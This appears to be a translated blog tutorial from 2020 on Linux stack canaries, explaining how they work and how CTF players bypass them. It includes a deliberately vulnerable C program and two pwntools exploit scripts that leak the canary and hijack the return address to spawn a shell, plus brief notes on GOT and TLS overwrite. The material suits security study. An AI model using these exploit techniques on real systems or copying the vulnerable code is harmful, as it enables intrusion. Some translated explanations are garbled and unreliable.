Canary learning of PWN

Canary

Reference link: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

0x1 introduction:

A method to prevent stack overflow from being used is to put a random number under the ebp of the stack. Before the function returns, it will check whether the number has been modified, and then it can detect whether stack overflow has occurred.

0x2 principle:

Put a random number at the bottom of the stack and check whether it is modified when the function returns. The specific implementation is as follows:
x86 :
Insert the canary value in the preamble of the function:

mov    eax,gs:0x14
mov    DWORD PTR [ebp-0xc],eax

Before the function returns, the value is taken out and checked for modification. This operation is to detect whether stack overflow occurs.

mov    eax,DWORD PTR [ebp-0xc]
xor    eax,DWORD PTR gs:0x14
je     0x80492b2 <vuln+103> # Normal function return
call   0x8049380 <__stack_chk_fail_local> # Call error handling function

The x86 stack structure is roughly as follows:

        High  
        Address |                 |  
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      ebp =>    +-----------------+
                | ebx             |
    ebp-4 =>    +-----------------+
                | unknown         |
    ebp-8 =>    +-----------------+
                | canary value    |
   ebp-12 =>    +-----------------+
                | local variable         |
        Low     |                 |
        Address

x64 :
Function preamble:

mov    rax,QWORD PTR fs:0x28
mov    QWORD PTR [rbp-0x8],rax

Before the function returns:

mov    rax,QWORD PTR [rbp-0x8]
xor    rax,QWORD PTR fs:0x28
je     0x401232 <vuln+102> # Normal function return
call   0x401040 <__stack_chk_fail@plt> # Call error handling function

The x64 stack structure is roughly as follows:

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      rbp =>    +-----------------+
                | canary value    |
    rbp-8 =>    +-----------------+
                | local variable         |
        Low     |                 |
        Address

0x3 bypasses

0x3.1 Canary in leak stack

Canary is designed to end in bytes \ x00 to ensure that it can truncate strings. The idea of leaking canary in the stack is to overwrite the low byte of Canary to print out the remaining Canary part. This utilization requires the existence of appropriate output functions, and may require the first overflow to leak canary, and then overflow control the execution process again.

Using examples

The source code is as follows:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

Compile to 32bit program, enable NX, ASLR, Canary protection, need to close PIE

gcc -m32 -no-pie ex2.c -o ex2-x86

linux default on NX, ASLR, Canary protection
First, print out 4-bit Canary by overwriting the last \ x00 byte of Canary, calculate the offset, fill canary into the corresponding overflow position, and implement Ret into the getshell function

EXP

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2-x86'
# context.log_level = 'debug'
io = process('./ex2-x86')

get_shell = ELF("./ex2-x86").sym["getshell"] # Here is the starting address to get the getshell function

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100
io.sendline(payload) # Here, using sendline() will append a newline character '\ n' after the payload, and the hexadecimal corresponding to it is 0xa

io.recvuntil("A"*100)
Canary = u32(int.from_bytes(io.recv(4),"little"))-0xa # The purpose of subtracting 0xa here is to subtract the line break above and get the real Canary
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell) # Overwrite the original return address with the function address of getshell
io.send(payload)

io.recv()

io.interactive()

Compile to 64 bit program:

gcc -no-pie ex2.c -o ex2-x64

EXP

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2-x64'
# context.log_level = 'debug'
io = process('./ex2-x64')

get_shell = ELF("./ex2-x64").sym["getshell"] # Here is the starting address to get the getshell function

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100 + "A" * 4 # Four more A's are added here because the 100 mode 8 is 4. If the 8 bits are not supplemented, then you cannot overwrite the \ x00 after canary
io.sendline(payload) # Here, using sendline() will append a newline character '\ n' after the payload, and the hexadecimal corresponding to it is 0xa

io.recvuntil("A"*104)
Canary = u64(io.recv(8))-0xa # The purpose of subtracting 0xa here is to subtract the line break above and get the real Canary
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = b"\x90"*104+p64(Canary)+b"\x90"*8+p64(get_shell) # Overwrite the original return address with the function address of getshell
io.send(payload)

io.recv()

io.interactive()

0x3.2 one by one blasting Canary

I don't think it's very useful. Please refer to the reference link for details

0x3.3 hijack function
It is known that the processing logic of Canary failure will enter into the "stack" function. The "stack" function is a common delay binding function, which can be hijacked by modifying the GOT table.

Refer to ZCTF2017 Login, the utilization method is to tamper with the GOT table of "stack" and "fail" through fsb vulnerability, and then make ROP utilization
Reference link:
https://1ce0ear.github.io/2017/09/29/ZCTF2017-login/
https://jontsang.github.io/post/34549.html

0x3.4 override Canary value stored in TLS

Canary is known to be stored in TLS and is used for comparison before the function returns. When the overflow size is large, it can be bypassed by overwriting the Canary stored on the stack and the Canary stored on the TLS.

See starttf2018 babystack
Reference link:
https://jontsang.github.io/post/34550.html

Tags: Linux github Python

Posted on Mon, 10 Feb 2020 02:27:19 -0800 by Ruud Hermans